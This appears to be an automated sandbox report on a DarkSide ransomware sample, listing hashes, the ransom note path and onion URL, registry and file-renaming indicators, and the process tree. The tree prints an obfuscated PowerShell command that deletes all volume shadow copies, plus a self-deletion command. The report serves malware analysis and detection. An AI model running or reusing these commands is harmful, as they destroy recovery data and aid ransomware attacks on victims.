Analysis
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max time kernel
66s -
max time network
111s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
17-05-2021 12:21
Static task
static1
Behavioral task
behavioral1
Sample
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Resource
win10v20210410
General
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Target
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
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Size
59KB
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MD5
6a7fdab1c7f6c5a5482749be5c4bf1a4
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SHA1
4e6d303d96621769b491777209c237b4061e3285
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SHA256
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb
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SHA512
39446ebfae1dd0e007e81087f42021b95ee5a0a04e22ca7f4f5addbea4e71c7fe09ffd3bf953400955ce6d31b535c81a37b018aba73c30e61575b2c49414d6cd
Malware Config
Extracted
C:\\README.f2cbf9aa.TXT
darkside
http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Modifies extensions of user files 6 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exedescription ioc process File opened for modification C:\Users\Admin\Pictures\RedoImport.crw.f2cbf9aa 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe File renamed C:\Users\Admin\Pictures\RenameLimit.tif => C:\Users\Admin\Pictures\RenameLimit.tif.f2cbf9aa 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe File opened for modification C:\Users\Admin\Pictures\RenameLimit.tif.f2cbf9aa 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe File renamed C:\Users\Admin\Pictures\NewFind.raw => C:\Users\Admin\Pictures\NewFind.raw.f2cbf9aa 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe File opened for modification C:\Users\Admin\Pictures\NewFind.raw.f2cbf9aa 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe File renamed C:\Users\Admin\Pictures\RedoImport.crw => C:\Users\Admin\Pictures\RedoImport.crw.f2cbf9aa 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2736 cmd.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\f2cbf9aa.BMP" 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\f2cbf9aa.BMP" 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Modifies Control Panel 1 IoCs
Processes:
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\WallpaperStyle = "10" 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe -
Modifies registry class 5 IoCs
Processes:
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\f2cbf9aa.ico" 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.f2cbf9aa 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.f2cbf9aa\ = "f2cbf9aa" 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa\DefaultIcon 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exe1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exepid process 980 powershell.exe 980 powershell.exe 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
Processes:
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeSecurityPrivilege 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeTakeOwnershipPrivilege 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeLoadDriverPrivilege 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeSystemProfilePrivilege 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeSystemtimePrivilege 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeProfSingleProcessPrivilege 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeIncBasePriorityPrivilege 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeCreatePagefilePrivilege 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeBackupPrivilege 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeRestorePrivilege 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeShutdownPrivilege 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeDebugPrivilege 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeSystemEnvironmentPrivilege 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeRemoteShutdownPrivilege 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeUndockPrivilege 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeManageVolumePrivilege 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: 33 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: 34 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: 35 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeDebugPrivilege 980 powershell.exe Token: SeBackupPrivilege 1004 vssvc.exe Token: SeRestorePrivilege 1004 vssvc.exe Token: SeAuditPrivilege 1004 vssvc.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exedescription pid process target process PID 1988 wrote to memory of 980 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe powershell.exe PID 1988 wrote to memory of 980 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe powershell.exe PID 1988 wrote to memory of 980 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe powershell.exe PID 1988 wrote to memory of 980 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe powershell.exe PID 1988 wrote to memory of 2736 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe cmd.exe PID 1988 wrote to memory of 2736 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe cmd.exe PID 1988 wrote to memory of 2736 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe cmd.exe PID 1988 wrote to memory of 2736 1988 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe cmd.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe"C:\Users\Admin\AppData\Local\Temp\1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\1CC7C1~1.EXE >> NUL2⤵
- Deletes itself
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndexMD5
d0353d314c5bc8c1ea82212d0215fa51
SHA16df2b40f6092434fdf2a54fe34a4ec110e12a6c1
SHA256a6c8a1c4d18e494c5f4b9dbf4d07ea122a691566d7e0ff04cf8a63e2db4fa916
SHA51227c8fa70682cfbf60895bd5914a2476fee2794212914b893124012514935944022221cae64d118869969f393d277103f6ef1fa41ed009dea590c8eb9318ef923
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msMD5
964e4d4e28734b6461fd42c2774c2c62
SHA11c981ea3ce8a1b76f82cfcfc7578977639c26bb5
SHA2568acb6f1a2c83eb22bf9cf2b139ba7ad35b2aa7e95268e7395596d98b44f14171
SHA512191ee02a54d90e9d4834f19a91ee5190aea32d04f21880c5767658c8faa1a5b5b12b8c585a86759a50a7178844fb15e4ac88ed9b01561667b155272d7fc82252
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memory/980-65-0x00000000023E0000-0x00000000023E1000-memory.dmpFilesize
4KB
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memory/980-62-0x0000000002640000-0x0000000002641000-memory.dmpFilesize
4KB
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memory/980-63-0x000000001AB70000-0x000000001AB71000-memory.dmpFilesize
4KB
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memory/980-64-0x0000000002680000-0x0000000002681000-memory.dmpFilesize
4KB
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memory/980-66-0x0000000002360000-0x0000000002362000-memory.dmpFilesize
8KB
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memory/980-67-0x0000000002364000-0x0000000002366000-memory.dmpFilesize
8KB
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memory/980-68-0x000000001C660000-0x000000001C661000-memory.dmpFilesize
4KB
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memory/980-69-0x000000001B5E0000-0x000000001B5E1000-memory.dmpFilesize
4KB
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memory/980-61-0x000007FEFB761000-0x000007FEFB763000-memory.dmpFilesize
8KB
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memory/980-60-0x0000000000000000-mapping.dmp
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memory/1988-59-0x0000000075AD1000-0x0000000075AD3000-memory.dmpFilesize
8KB
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memory/2736-72-0x0000000000000000-mapping.dmp